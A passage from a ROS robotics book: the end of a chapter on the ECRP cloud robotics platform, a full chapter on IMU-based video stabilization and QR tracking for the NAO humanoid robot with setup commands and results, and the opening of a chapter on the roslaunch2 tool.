For instance, if we wanted to extend RoboPatrol to support multiple users drivingmultiple turtlebots on the same map, we would need to configure the bridges andthe navigation service instance for each robot with a different namespace. Finally,the Web UI component would have to be extended to both send a namespace-boundnavigation goal according to the controlled robot as well as visualize all robots onthe map concurrently.

Multi-tenancy and RBAC In cloud computing, multi-tenancy refers to the fact thata resource (e.g., a service, a platform, a server) is shared across multiple tenants,where a “tenant” is a group of roles/persons in the same organizational unit (e.g., acustomer company, a division, a development team). The current version of ECRPdoes not explicitly support multi-tenancy, while rapyuta.io supports it natively. Sev-eral aspects concerning multi-tenancy would need to be addressed in ECRP bothwith respect to code execution in the cloud (e.g., runtime execution isolation throughplacement constraints, broker and network isolation) as well as on devices and edge(e.g., per-tenant deployment of device management services). Particularly complexis also the aspect of bringing role-based access control (RBAC) to physical devicessuch as robots, for instance for what concerns concurrent use. One example wouldbe allowing multiple users to access the camera streams from the same robot, butonly allowing one user at a time to control movement. While RBAC issues can beaddressed and solved at application level, we believe ECRP should provide platform-level principles and primitives to deal with RBAC issues since they are intertwinedwith device management and orchestration (e.g., a navigation service instance letsan application control a robot).

[email protected]


ROS2 and DDS We started designing ECRP when ROS2 was not yet available,however the only component requiring an update is the cloud bridge that, as by ROSspecification, currently relies on the ROS master to discover services, topics, theirproviders and subscribers.

Given the fully distributed nature of ROS2,40 a different discovery mechanismneeds to be in place. This is somewhat trivial for discovering ROS nodes on a singlehost or in a local network, but requires a different mechanism on cloud nodes wherein general multicast communication is not supported.

The typical recommended solution in lack of available discovery mechanismsis peer configuration. In Kubernetes this can be implemented in several ways, forinstance using headless services and DNS, configuring ROS nodes through environ-mental variables at startup, or accessing the Kubernetes API to implement discovery.

Security A final word on security. The ECRP project did not address advancementsin security concerning cyber-physical systems beyond the current state of the art. Inother terms, we relied on mechanisms for authentication and authorization currentlyavailable for PaaS solutions.

We are however aware of the novel security issues that connecting cyber-physicalsystems to networks imply, and are following the research contributions in the area(e.g., https://robosec.org/ [21]).

6 Conclusion

This chapter presents the state of the art of cloud robotics with ROS and provides themotivation for building ECRP, a Platform as a Service (PaaS) solution for ROS-basedcloud robotic applications development.

We define the requirements and assumptions that drove the design phase of thesolution, discuss the architecture, and relate on our current experience and openchallenges.

References

1. Arumugam, R., Enti, V.R., Bingbing, L., Xiaojun, W., Baskaran, K., Kong, F.F., Kumar, A.S.,Meng, K.D., Kit, G.W.: Davinci: a cloud computing framework for service robots. In: 2010IEEE International Conference on Robotics and Automation (ICRA), pp. 3084–3089. IEEE(2010)

2. Brunnert, A., van Hoorn, A., Willnecker, F., Danciu, A., Hasselbring, W., Heger, C., Herbst,N., Jamshidi, P., Jung, R., von Kistowski, J., et al.: Performance-oriented devops: a researchagenda (2015). arXiv:1508.04752

40https://github.com/ros2/design/wiki/Discovery-And-Negotiation

[email protected]


3. Crick, C., Jay, G., Osentoski, S., Jenkins, O.C.: Ros and rosbridge: roboticists out of the loop.In: Proceedings of the Seventh Annual ACM/IEEE International Conference on Human-robotInteraction, pp. 493–494. ACM (2012)

4. Doriya, R., Chakraborty, P., Nandi, G.: robot-cloud: a framework to assist heterogeneous lowcost robots. In: 2012 International Conference on Communication, Information & ComputingTechnology (ICCICT), pp. 1–5. IEEE (2012)

5. Estublier, J., Vega, G.: Reconciling components and services: the apam component-serviceplatform. In: 2012 IEEE Ninth International Conference on Services Computing (SCC), pp.683–684. IEEE (2012)

6. Garcia Lopez, P., Montresor, A., Epema, D., Datta, A., Higashino, T., Iamnitchi, A., Barcellos,M., Felber, P., Riviere, E.: Edge-centric computing: vision and challenges. ACM SIGCOMMComput. Commun. Rev. 45(5), 37–42 (2015)

7. Goldberg, K., Kehoe, B.: Cloud robotics and automation: a survey of related work. EECSDepartment, University of California, Berkeley, Technical Report UCB/EECS-2013-5 (2013)

8. Goldberg, K., Siegwart, R.: Beyond Webcams: An Introduction to Online Robots. MIT press(2002)

9. Haile, N., Altmann, J.: Value creation in software service platforms. Futur. Gener. Comput.Syst. 55, 495–509 (2016)

10. Herranz, F., Jaime, J., González, I., Hernández, Á.: Cloud robotics in fiware: a proof of concept.In: International Conference on Hybrid Artificial Intelligence Systems, pp. 580–591. Springer(2015)

11. Humble, J., Farley, D.: Continuous Delivery: Reliable Software Releases through Build, Test,and Deployment Automation (Adobe Reader). Pearson Education (2010)

12. Inaba, M., Kagami, S., Kanehiro, F., Hoshino, Y., Inoue, H.: A platform for robotics researchbased on the remote-brained robot approach. Int. J. Robot. Res. 19(10), 933–954 (2000)

13. Kamei, K., Nishio, S., Hagita, N., Sato, M.: Cloud networked robotics. IEEE Netw. 26(3)(2012)

14. Krawczyk, H., Downar, M.: Commonly accessible web service platformwiki-ws. In: IntelligentTools for Building a Scientific Information Platform, pp. 251–264. Springer (2012)

15. Loukides, M.: What is DevOps? O’Reilly Media, Inc. (2012)16. Mell, P., Grance, T., et al.: The NIST definition of cloud computing (2011)17. Mohanarajah, G., Hunziker, D., D’Andrea, R., Waibel, M.: Rapyuta: a cloud robotics platform.

IEEE Trans. Autom. Sci. Eng. 12(2), 481–493 (2015)18. Mohanarajah, G., Usenko, V., Singh, M., D’Andrea, R., Waibel, M.: Cloud-based collaborative

3d mapping in real-time with low-cost robots. IEEE Trans. Autom. Sci. Eng. 12(2), 423–431(2015)

19. Osentoski, S., Jay, G., Crick, C., Pitzer, B., DuHadway, C., Jenkins, O.C.: Robots as webservices: reproducible experimentation and application development using rosjs. In: 2011 IEEEInternational Conference on Robotics and Automation (ICRA), pp. 6078–6083. IEEE (2011)

20. Pintos, J.M., Castillo, C.N., Lopez-Pires, F.: Evaluation and comparison framework for platformas a service providers. In: 2016 XLII Latin American Computing Conference (CLEI), pp. 1–11(Oct 2016). https://doi.org/10.1109/CLEI.2016.7833384

21. Quarta, D., Pogliani, M., Polino, M., Maggi, F., Zanchettin, A.M., Zanero, S.: An experimentalsecurity analysis of an industrial robot controller. In: Proceedings of the 38th IEEE Symposiumon Security and Privacy. San Jose, CA (May 2017)

22. Russell, N., Barros, A.: Business processes in connected communities. In: International Con-ference on Business Process Management, pp. 446–451. Springer (2014)

23. Sato, M., Kamei, K., Nishio, S., Hagita, N.: The ubiquitous network robot platform: commonplatform for continuous daily robotic services. In: 2011 IEEE/SICE International Symposiumon System Integration (SII), pp. 318–323. IEEE (2011)

24. Spillner, J., Piechnick, C., Wilke, C., Aßmann, U., Schill, A.: Autonomous participation incloud services. In: 2012 IEEE Fifth International Conference on Utility and Cloud Computing(UCC), pp. 289–294. IEEE (2012)

[email protected]


25. Spillner, J., Schill, A.: A versatile and scalable everything-as-a-service registry and discovery.In: Closer, pp. 175–183 (2013)

26. Swi a tek, P.: Comss–platform for composition and execution of streams processing services.In: Intelligent Information and Database Systems: 7th Asian Conference, ACIIDS 2015, Bali,Indonesia, 23–25 Mar 2015, Proceedings, Part II, vol. 7. pp. 494–505. Springer (2015)

27. Tenorth, M., Perzylo, A.C., Lafrenz, R., Beetz, M.: Representation and exchange of knowledgeabout actions, objects, and environments in the roboearth framework. IEEE Trans. Autom. Sci.Eng. 10(3), 643–651 (2013)

28. Thrun, S., Burgard, W., Fox, D.: Probabilistic Robotics. MIT press (2005)29. Toffetti, G., Lötscher, T., Kenzhegulov, S., Spillner, J., Bohnert, T.M.: Cloud robotics: slam

and autonomous exploration on PaaS. In: Companion Proceedings of the 10th InternationalConference on Utility and Cloud Computing, pp. 65–70. UCC’17 Companion. ACM, NewYork, NY, USA (2017). https://doi.org/10.1145/3147234.3148100, https://doi.org/10.1145/3147234.3148100

30. Turnbull, L., Samanta, B.: Cloud robotics: formation control of a multi robot system utilizingcloud infrastructure. In: Southeastcon, 2013 Proceedings of IEEE, pp. 1–4. IEEE (2013)

31. Waibel, M., Beetz, M., Civera, J., d’Andrea, R., Elfring, J., Galvez-Lopez, D., Häussermann,K., Janssen, R., Montiel, J., Perzylo, A., et al.: Roboearth. IEEE Robot. Autom. Mag. 18(2),69–82 (2011)

[email protected]

Video Stabilization of the NAO Robot

Using IMU Data

Oswualdo Alquisiris-Quecha and Jose Martinez-Carranza

Abstract The implementation of a video stabilization system of the NAO robot ispresented through the data of the IMU, this stabilized image is used to detect and trackQR codes. Once the QR code is located, the NAO robot tracks and monitors it. Thesystem was developed under the ROS platform, with modules implemented in C++and Python languages. The system provides data for subsequent processes, whichneed to use video data for object recognition, task tracking, among others. Can getsequences of stable images and with the least amount of vibrations or sudden move-ments. One of the main benefits of this work is the visual tracking of objects throughstable images during walking of the NAO robot, which introduces an erratic motionof the head camera, the effect that is mitigated with the digital visual gyrostabilizedmethod presented in this work.

Keywords NAO · Gyrostabilization · Homography · IMU · QR

1 Introduction

Within robotics, one of the main challenges is based on the need to obtain clearand vibration-free image sequences so that the image can be analyzed correctly,better results from subsequent processing. In most cases, obtaining ideal images isnot always possible, due to multiple unforeseen events such as changes in lightingand unwanted movements of the capture that consequently hinder processing. Inparticular, the tasks of navigation, location, and tracking of objects based on visiontechniques cannot be performed reliably when the reference points are blurred, poorlyfocused or disappear from the camera view due to strong vibrations. There is a needto counteract them and try to maintain a certain stability in the capturing of imagesand video.

O. Alquisiris-Quecha (B)Instituto Nacional de Astrofísica, Óptica y Electrónica, Puebla, Méxicoe-mail: [email protected]

O. Alquisiris-Quecha · J. Martinez-CarranzaComputer Science Department, University of Bristol, Bristol BS8 1UB, UKe-mail: [email protected]


147

[email protected]

148 O. Alquisiris-Quecha and J. Martinez-Carranza

Currently, there are various stabilization algorithms both in hardware and a greaternumber in software, where the stabilization process is performed by estimating move-ment and compensation thereof, where in general terms it is to identify which move-ments (may be of the translational, rotational type, among others) occur betweentwo consecutive images [7]. These implementations try to reduce the vibrations ofthe image due to movement, usually the stabilization techniques are classified intotwo main approaches: optical stabilization (in which a mechanical system physicallycompensates for the involuntary movement of the camera to avoid vibrations), anddigital stabilization (where the improvement is made by modifying the image bysoftware). In digital stabilization, the process is divided into two stages [2], the firststage consists of the estimation of the movement of one image with respect to anotherin the same sequence, and the second stage involves the processing and calculation ofthe compensation of said movement to obtain as output a sequence of stable images.

The system proposed here is inspired by the natural way in which the human eyeobtains information from the environment and performs the automatic digital stabi-lization process, which means that vision is not affected by vibrations and movements(for example when walking or running). the brain obtains clear information about theenvironment and objects or areas of interest for processing. Under this idea, the pro-posal of stabilization in sequences of images of the upper chamber of the NAO robotis presented. This work is based on what is proposed by [6], in which an algorithm forvideo stabilization based on data from the Inertial Measurement Unit (IMU) onboardan unmanned aerial vehicle (UAV, also referred to as drones) is presented. By usingonly the data from the IMU for stabilization, considerable results are obtained interms of processing speed compared to implementing conventional techniques, aswell as a reduction in computing power required for processing.

The fundamental objective is to provide to subsequent processes that need touse the video data of the robot for object recognition, tracking tasks, among others,without the need to implement additional hardware, they can obtain, as input data,stable image sequences with the lowest number of vibrations or sudden movements,thus ensuring better results in the implementations. One of the purposes of thischapter is to allow anyone with a similar problem (a robot of any kind and purposethat has cameras and an IMU, and need image stabilization) count on a ROS packagethat would simplify the implementation of such digital image stabilization.

In this chapter, we will cover the following topics:

– First, we show in the Sect. 2 the background of the video stabilization problemand the solutions proposed in other works

– Second, in the Sect. 3 we present the proposed methodology and the parts itcontains

– Third, in the Sect. 4 we show how to download, use and test the ROS package.The links referring to the source code are provided.

– Fourth, The results obtained through the execution tests of the ROS package areshown in the Sect. 5

– Fifth, Finally in the Sect. 6 the conclusions obtained from the work are brokendown, the future works are proposed to improve the ROS package

[email protected]

Video Stabilization of the NAO Robot Using IMU Data 149

2 Background

Under the idea of stabilizing images or videos in robotic systems with the help ofdevices such as the gyroscope or the IMU sensor, several works have been proposed,as in [8] where a digital image stabilization system based on a KLT tracker(Kanade-Lucas-Tomasi) and an IMU is presented. To estimate more accurately the movementbetween two frames of consecutive images, the characteristic points were used thatwere discovered by the KLT tracker and the IMU. The initial movement estimatedwith the IMU was incorporated into the KLT tracker to improve the speed and accu-racy of the tracking process. In addition, a Kalman filter was applied to eliminateunwanted movement of the camera. The experimental results showed that the pro-posed system has the characteristics of high speed and precision in various conditions.

On the other hand, in [1] it is proposed the development of a software videostabilization algorithm without additional mechanical elements in the system, tobe used in real time during drone navigation. The developed algorithm is able toobtain a stable image and simultaneously maintain the real movements. Accordingto their experiments and the evaluation metrics used (Inter-frame TransformationFidelity, ITF and root-mean-square error, RMSE), they recorded good results of thealgorithm compared to L1-Optimal applied in the YouTube Editor, an algorithmbased on smoothing of movement and the Subspace video stabilization algorithmused in Adobe After Effects.

In applications for recording aerial photographs with autonomous vehicles, sta-bilization techniques have been used, utilising IMU data for the design and imple-mentation of a gyrostabilizer as in [5], where the design of a gyrostabilizer that canbe used for the registration of aerial photographs is presented. The detection of theinclinations is based on an IMU of six degrees of freedom that is supported by athree-axis gyroscope and a three-axis accelerometer. A platform controlled from amicrocontroller by servomotors is used for self-stabilization purposes. The designfocuses on the development of an autonomous platform that can be adapted to aerialvehicles to complement remote sensing applications.

Similarly, [10] presents a Digital Image Stabilizing Algorithms for highly dynamicmobile robotic platforms. The algorithm combines the estimation of optical flowmovement parameters with angular velocity data provided by an IMU. A discreteKalman filter is used in the forward configuration for an optimal merging of the twodata sources. Performance evaluations are carried out using a simulated video modeland test data in real videos while navigating a corridor.

A real-time video image stabilization system developed mainly for aerial robotsis presented in [11] where its proposed architecture combines four independent sta-bilization layers. Layer 1 detects vibrations through an IMU and performs externalcounter-movements with a motorized gimbal. Layer 2 dampens vibrations by theuse of mechanical devices. The internal optical stabilization of the camera imagerepresents Layer 3, while Layer 4 filters the remaining vibrations using the software.It is obtained that the system significantly improved the stability of unstable videoimages in a series of experiments.

[email protected]


Finally, an algorithm for video stabilization based only on IMU data from a UAVplatform is presented in [6]. The results show that the algorithm successfully stabi-lizes the flow of the camera with the additional benefit of requiring less computationalpower. It should be noted that this work is taken as a basis to develop the presentproject.

3 Methodology

The methodology used to carry out the present work is shown in Fig. 1. It shows theway in which different modules developed in C++ and Python language communicatethrough a common channel under ROS.

The process of operation starts getting the data of the sequence of images of theupper chamber of the robot NAO (the NAO robot has two cameras located on itshead, the lower chamber is located at the mouth of the robot and the upper chamberis located at the height of the robot’s forehead). The sequence of images are processedby the gyrostabilization module in conjunction with the data obtained from the IMU,whose output is used by the tracking module of a QR code. The control moduleanalyzes the image of NAO with respect to the QR code to generate the appropriatemovement for the NAO robot to move towards the QR code and tracking it (whichis the main objective of the robot).

It should be noted that the advantage and main reason for using ROS is theversatility of generating autonomous modular processes that are able to interact witheach other through messages as well as their ease of implementation.

Fig. 1 General methodology

[email protected]


3.1 Gyrostabilization Process

The goal of the gyrostabilization with the NAO robot is to obtain a video sequence inwhich there is the least change between possible frames, due to sudden movements ofthe camera. To achieve this, the construction of a homography matrix is implementedusing the data from the IMU, which is shown in the Eq. (1).

H = K RK −1 (1)

Where:

– H is the homography matrix that represents the difference in perspective betweentwo images that observe the same object.

– K represents the camera matrix or projection matrix which is involved in themapping between the elements of two projective spaces, that is, it describes themapping of the 3D points in the world to 2D points in an image. This matrixcan be obtained by a method of calibrating the camera, for example, based on achessboard pattern of a known size for estimating the intrinsic parameters of thecamera and the lens distortion coefficients. Based on the pinhole camera model,the projection matrix is described in (2).

K =

fx 0 cx

0 fy cy

0 0 1

(2)

Where fx , fy are the focal lengths of the camera and cx , cy represents the opticalcenter in pixel coordinates.

– R represents the relative orientation between frames. To estimate the orientationof the platform, through the angles roll, pitch and yaw (φ, θ,ψ) obtained fromthe IMU,a complementary filter has been used, this algorithm has the form of alow-pass filter which has the advantage of reducing the noise and drift producedby the sensors, reducing the delay in the estimation of the angle and does notimply an excessive cost in time of the process.

K =

a b c

d e f

g h i

(3)

According to the structure of a homography matrix of size 3 × 3, the content dataof the red color represents the rotation of the image. The data on the blue contentsrepresent its translation and the content data within the green color represent thescale or perspective of the image, see Eq. (3).

[email protected]


3.2 Complementary Filter

The IMUs are devices that with a little trigonometry can give an angle with totalaccuracy. Its advantage is that it combines the data of the accelerometer and thegyroscope very well compensating the limitations of the other, since the accelerom-eters do not have drift in the medium or long term, however, they are influenced bythe movements of the sensor and the noise, so they are not reliable in the short term.On the other hand, gyroscopes work very well for short or abrupt movements, but inthe medium or long term, they have drift.

In order to obtain reliable data, it is necessary to eliminate the noise and drift, bymeans of a filter, and ensure that the accelerometer does not change its angle whendetecting a force other than gravity. To solve this, there are several options, one ofthem is the complementary filter, which can be considered as a simplification of theKalman filter that completely dispenses with statistical analysis.

The complementary filter behaves like a high-pass filter for gyroscope measure-ment and a low-pass filter for the accelerometer signal. That is, the gyroscope signalis sent in the short term and that of the accelerometer in the medium and long-term.The complementary filter equations with gain α (which is a constant to calibrate thefilter) in a period of time t , for the roll φ, pitch θ and yaw ψ angles are shown inthe Eqs. (4), (5) and (6) respectively.

φk = (1 − α)(φk−1 + φkt) + αφI MU (4)

θk = (1 − α)(θk−1 + θkt) + αθI MU (5)

ψk = (1 − α)(ψk−1 + ψkt) + αψI MU (6)

3.3 The Humanoid Robot NAO

The humanoid robot NAO created by Softbank Robotics (previously Aldebaran

Robotics) (see Fig. 2a) is an open architecture device commonly used for educa-tional and research purposes. The main software that runs on the NAO robot andwhich controls it is the Naoqi, which is a multiplatform and multilanguage system.Within its main features it has 57.3 cm in height, 27.3 cm in width and a weight of4.3 kg, integrates a lithium battery of 21.6V 2Ah which allows a range of up to 90minutes of use.

It has a total of 25 degrees of freedom (dof) of which are distributed as follows[9]: in the head (2), arm (12), waist (1) and leg (10). The joints of the arms and legsare symmetrical to the left and right. There are sensors (32) with Hall effect thatmeasure the rotation of the motor with a precision of 12 bits, that is, the degree ofaccuracy is 0.1, it has contact sensors (3), infrared sensors (2), ultrasonic sensors (2),2-axis gyro sensor (1), 3-axis acceleration sensors (2), decompression sensors (8)and bumpers (2). It also has cameras (2), microphones (4) and speakers (2) for imageand voice processing. The movements of the NAO are governed by three general axes

[email protected]


(a) NAO Robot (b) Reference system

Fig. 2 NAO humanoid robot. Source: NAO Documentation

(see Fig. 2b). According to the convention of signs, given a joint that joins two partsof the body of the robot, the part of the body that is closest to the trunk is consideredfixed and the part of the body that is farthest from the trunk is the part that rotatesaround the body axis of the joint.

4 Set-Up NAO

In this section the necessary information for the configuration referring to the codesand the compilation thereof is presented.

The source codes used in the project are stored in a GitHub repository at the fol-lowing link: https://github.com/Oswualdo/Video-Stabilization-of-the-NAO-robot-using-IMU-data, in the repository the information is presented as reference to thecompilation and execution process of the developed program. The tests were per-formed on the Ubuntu 14.04 LTS (Trusty) release operating system, using the ROSIndigo Igloo system.

The communication process between the ROS and Naoqi system is done througha Python file where the control of the NAO robot is carried out by means of theinformation related to the QR code tracking, this code is included in the previousrepository.

Similarly, a link is provided regarding a demonstration video of the project,which is available at the following link: https://www.youtube.com/watch?v=YmyTGxKKcRo&t=6s.

The following summarizes the steps for using the package.

[email protected]


4.1 NAO-ROS Configuration

In the following link you can find the official page for Naoqi and the robots ofAldebaran where they provide the necessary configurations to be able to use theNAO robot under ROS. Therefore, it is necessary to follow the steps detailed there:http://wiki.ros.org/nao. Necessary dependencies: It is necessary to install by terminalthe following:

– sudo apt-get install ros-.*-nao-robot– sudo apt-get install ros-.*-nao-extras– It is also necessary to include the following in the workspace: naoqi_driver,

naoqi_bridge, nao_description, which are in the following link: http://wiki.ros.org/nao_bringup.

4.2 Usage

Having everything configured, we proceed to compile the codes using the commandcatkin_make.

To start the robot bringup, simply run:

– C++:

• $ roslaunch nao_bringup nao_full.launch nao_ip:=<robot_ip>roscore_ip:=<roscore_ip>

Alternatively you can make use of the python SDK, which has to be installed andcorrectly setup in your PYTHONPATH environment variable.

– Python:

•$ roslaunch nao_bringup nao_full_py.launch nao_ip:=<robot_ip>roscore_ip:=<roscore_ip>

To execute the stabilizing video, it is necessary to launch the following:

– $ rosrun image_viewer image_viewer

Finally, to execute the control of the NAO for the follow-up of the QR code, thefollowing is launched (the file is inside the python_control folder):

– $ python operar_nao.py

5 Results

The tests are performed using the NAO robot whose characteristics are describedin Sect. 3.3, which integrates two RGB cameras model MT9M114 located in thehead of the device, using a configuration with a resolution of 640 × 480 pixels,

[email protected]


where only the upper camera of the robot is selected and used because the camerafield of vision is usually used for navigational tasks instead of the lower chamberwhere the vision of the camera focuses on the ground and nearby objects. The IMUsensor that integrates the NAO robot consists of two axis gyrometers (5% precisionwith an angular speed of 500/s) and a three axis accelerometer (1% precision withan acceleration of 2G). With respect to the computer used for the tests, a DELLInspiron Gaming 15-5577 Laptop with Intel Quad-Core i5 7300HQ 7th generation(up to 3.50 GHz), 8GB DDR4 DRAM memory, NVIDIA GeForce GTX 1050 4GBVRAM is used.

To validate the developed system, various tests are performed with changes in thedirection of movement of the NAO robot in an initial position in which the robotis fully upright while it detects a QR code. During the tests, the different operationmodules are executed together and communicate through a ROS channel. In thesetests, the functioning of the system can be evaluated in a controlled manner.

Figure 3 presents the visualization of a dynamic graph of what is happening inthe system as well as the nodes that the system executes when operating, in the sameway, you can observe the passing of topics between them. This serves to graphicallyvisualize what is happening with the program during its execution.

Figure 4 shows the result of rotating the whole body of the NAO robot to theleft in 45. Where in Fig. 4a the original image of the robot’s upper camera is shownwithout the application of any additional operation in contrast to the Fig. 4b, in whichthe gyro stabilization process is used.

In this image, the result of our method is shown. Where it is possible to observethat the system compensates for the movement detected by the IMU sensor, obtainingas a result, a stabilized image.

Figure 5 shows the result of tilting forward the complete body of the robot. InFig. 5a the original image is shown and in the Fig. 5b the image is presented to whichthe stabilization process is applied. It can be observed that the system adjusts andcompensates the movements of the robot and generates the stabilized image withwhich the robot performs the tracking process of the QR code.

Likewise, the test is performed to tilt back the complete body of the robot in whichin Fig. 6a the original image obtained from the upper chamber of the NAO is seen andin Fig. 6 b the result of applying the stabilization system to the image is contrasted.

To try to visualize all the possible movements of the NAO robot, the robot’s entirebody moves to the right at an approximate 45 incline where it is possible to observein Fig. 7a the original image obtained from the robot’s camera without applying anyadditional processing. In the Fig. 7b the resulting image is observed when applyingthe stabilization system, in it, it is observed that the system tries to conserve andcompensate the movement of the robot.

It is important to note that during the experiments, the robot was rotated manuallyto tilt and rotate angles in order to test the data limits and the IMU algorithm.

It is clear only through visual inspection that the system successfully stabilizes thevideo input. While there is residual noise in the stabilized results shown in Figs. 6band 7b, it is due to the data obtained from the IMU which contains a large amount ofnoise and drift (see Fig. 8). Therefore the application of the complementary filter is

[email protected]


(a)Control

(b)getdataimagefromNAOrobot

(c)Giro-Stabilizer

Fig. 3 Communication between nodes in ROS

(a) Original image (b) Rectified image

Fig. 4 Rotate to the left at 45 of the NAO

[email protected]



Fig. 5 Tilt forward of the NAO


Fig. 6 Backward tilt of the NAO


Fig. 7 Rotation to the right at 45 of the NAO

[email protected]


(a) Original IMU data (b) Filtered data IMU

Fig. 8 Comparison between data of the IMU

(a) Time t=0 (b) Time t=1 (c) Time t=2

Fig. 9 Unstabilized image sequences

(a) Time t=0 (b) Time t=1 (c) Time t=2

Fig. 10 Sequence of stabilized images

implemented, however, the result of the filter was not enough to obtain stable images,that is, it was only possible to reduce a certain amount of noise, which is why it isnecessary to implement another additional strategy for filtering the data of the IMU.

An important point to note is that due to the location of the camera in the NAOrobot, which is at a point of great instability to perform any movement by mini-mum that is by the robot. The image is seriously affected by vibrations and suddenmovements.

[email protected]


(a) QR code detection (b) QR code estrangement (c) Tracking the QR code bythe NAO robot

Fig. 11 Frontal tracking process of the QR code

(a) QR code detection (b) Turn/move QR code

(c) Follow up of the QR Code spin by the NAO robot

(d) Tracking the QR code by the NAO robot

Fig. 12 Turning tracking process of the QR code

In addition, tests were carried out using different movements: rotations and changesin the direction of the robot’s vision focus. The real viewing examples for the recog-nition and tracking of a QR code by unstabilized data and the stabilized data areshown in Figs. 9 and 10, respectively

In the Fig. 11 it can be seen the execution of QR code tracking, to check the systemthe QR code moves away from the focus of the NAO camera. With this action the NAOrobot, using the three developed modules (gyro-stabilization, tracking and control),moves to track and not lose sight of the QR code.

In the same way, tests are carried out to verify the system by moving the QRcode in random directions. In Fig. 12, the user moves the QR code backwards and he

[email protected]


turns it to the right of the camera of the NAO robot, the robot tracks it thanks to thegyro-stabilization of the image, since the NAO robot generates abrupt movementsin the head, location where the camera is. Without the gyro-stabilization process thetracking task would be affected by the amount of vibration existing in the imagesacquired by the NAO robot.

6 Conclusions and Future Work

A video gyro stabilization system was developed for the NAO robot using the datafrom the IMU sensor incorporated in the robot, using the ROS system as its maintool, due to the advantages it offers, as well as the existing control for the use of theNAO robot under this environment. The stabilization generation with the IMU sensorhas as its main advantage that the processing is considerably reduced with respectto the conventional stabilization method using software. The latter is due to the factthat it does not require feature detection processes or iterative methods, for whichit uses very little computing power, having the advantage of being easily executedon board the NAO robot. In contrast to conventional digital stabilization algorithms,which often have narrow fields of view, they even discard data to gain stability. Withthe stabilization of images, mechanisms are provided so that later processes thatrequire such images as input data, for example, object recognition, video navigation,tracking tasks, among others, can generate better results in their implementations orprocessing, since the input data have the lowest possible amount of noise such asvibrations or sudden movements.

The use of the IMU sensor to obtain the homography matrix presents a greatadvantage over conventional methods, where the obtaining of such matrix is done byprocessing video sequences in which the computational cost grows and the processingtime is slower, due to the different transformations and comparisons that are appliedto each frame.

Similarly, using the data from the IMU for the stabilization of the image obtainedfrom the robot provides an optimal way to achieve the objectives without the need toadd additional hardware to the robot, which would imply greater weight on board andtherefore would require greater energy consumption for its operation, considerablyreducing the autonomy time of the device.

It is clear only through visual inspection that the system successfully stabilizesthe video input, the above by means of a series of experiments carried out with theNAO robot. A random movement is generated by a user while the NAO observesand tracks a QR code, what verifies the robustness of the gyro-stabilization system,obtaining stable images even when it is induced movements that the robot could notgenerate autonomously.

For practical reasons the system was developed under a modular approach, whichis why it is possible to generate a free package for ROS for its use in tasks whosepurposes are similar to what is presented here or in applications involving the use ofsystems view.

[email protected]


The purpose of using the ROS system is due to the practicality of generatingmodules for each problem, that is, the general problem can be divided and tackedinto simpler subproblems in which it is possible to modify its structure withoutaffecting others, through it modularity and its advantage of code reuse.

As future work, we intend to implement a Kalman filter to eliminate the unwantedmovement of the camera as in [3, 4]. In the same way, it is intended generate thenecessary mechanisms for the fusion or combination of the physical IMU sensor andvisual features. This is because the location of the camera inside the NAO robot is ina very unstable position when performing movement operations, which is why thegyro stabilization process is not enough. Therefore it is necessary to explore othermeasures to obtain more stable images, such as the compensation of movement withturns in the head of the robot to compensate for the movement of the whole body.

References

1. Wilbert Geovanny Aguilar Castillo: Estabilización de vídeo en tiempo real: aplicaciones en

teleoperación de micro vehículos aéreos de ala rotativa. Ph.D. thesis, Universitat Politècnicade Catalunya (2015)

2. Alberto Granados Calderay: Implementación, análisis y optimización de un estabilizador soft-ware de imágenes. Proyecto Fin de Carrera/Grado. Ingeniería en Tecnologías Industriales.Universidad Politécnica de Madrid (2018)

3. Hu, W.-C., Chen, C.-H., Chen, T.-Y., Peng, M.-Y., Su, Y.-J.: Real-time video stabilization forfast-moving vehicle cameras. Multimed. Tools Appl. 77(1), 1237–1260 (2018)

4. Kam, H.C., Yu, Y.K., Wong, K.H.: An improvement on aruco marker for pose tracking usingkalman filter. In 2018 19th IEEE/ACIS International Conference on Software Engineering,Artificial Intelligence, Networking and Parallel/Distributed Computing (SNPD), pp. 65–69.IEEE (2018)

5. Meneses, G., Peñata, D., Torrecilla, J., Molina, E.: Diseño de un giroestabilizador parafotografía aérea. In: Congreso Internacional de Ingeniería Mecatrónica-UNAB, vol. 2 (2011)

6. Odelga, M., Kochanek, N., Bülthoff, H.H.: Efficient real-time video stabilization for uavs usingonly imu data. In: 2017 Workshop on Research, Education and Development of UnmannedAerial Systems (RED-UAS), pp. 210–215. IEEE (2017)

7. Raúl Picón Calzada: Estabilización de vídeo en tiempo real para aplicaciones de vídeo vigi-lancia. Universitat Politècnica de Catalunya. Proyecto Fin de Carrera/Grado. Departament deTeoria del Senyal i Comunicacions. Escola Universitária d’Enginyeria Técnica Industrial deTerrassa (2008)

8. Ryu, Y.G., Roh, H.C., Kim, S.J., An, K.H., Chung, M.J.: Digital image stabilization forhumanoid eyes inspired by human vor system. In: 2009 IEEE International Conference onRobotics and Biomimetics (ROBIO), pp. 2301–2306. IEEE (2009)

9. Seo, K., Robotics, A.: Using nao: introduction to interactive humanoid robots. AldeBaranRobotics (2013)

10. Smith, M.J., Boxerbaum, A., Peterson, G.L., Quinn, R.D.: Electronic image stabilization usingoptical flow with inertial fusion. In: 2010 IEEE/RSJ International Conference on IntelligentRobots and Systems (IROS), pp. 1146–1153. IEEE (2010)

11. Windau, J., Itti, L.: Multilayer real-time video image stabilization. In: 2011 IEEE/RSJ Inter-national Conference on Intelligent Robots and Systems (IROS), pp. 2397–2402. IEEE (2011)

[email protected]


Oswualdo Alquisiris-Quecha is a Computer Engineer from the Universidad del Istmo CampusTehuantepec, he is currently a Master’s student in Computational Sciences at the Instituto Nacionalde Astrofisica, Óptica y Electrónica (INAOE).

Jose Martinez-Carranza is Associate Professor at the Computer Science Department in the Insti-tuto Nacional de Astrofísica, Óptica y Eletrónica (INAOE) and Honorary Senior Research Fellowat the Computer Science Department in the University of Bristol. He received the highly presti-gious Newton Advanced Fellowship (2015–2018). He also leads a Mexican team winner of the 1stPlace in the IROS 2017 Autonomous Drone Racing competition and 2nd Place in the InternationalMicro Air Vehicle competition (IMAV) 2016

[email protected]

ROS Tools

[email protected]

roslaunch2: Versatile, Flexible

and Dynamic Launch Configurations

for the Robot Operating System

Adrian Böckenkamp

Abstract This chapter will present the new roslaunch2 tool and its underlying archi-

tecture and associated API. It is a pure Python-based ROS package that facilitates

writing flexible and versatile launch modules in the Python programming language

both for simulation and real hardware setups, as contrasted with the existing XML

based launch file system of ROS, namely roslaunch. Note that roslaunch2 is not (yet)

designed and developed for ROS 2 but for ROS 1 only although it may also inspire

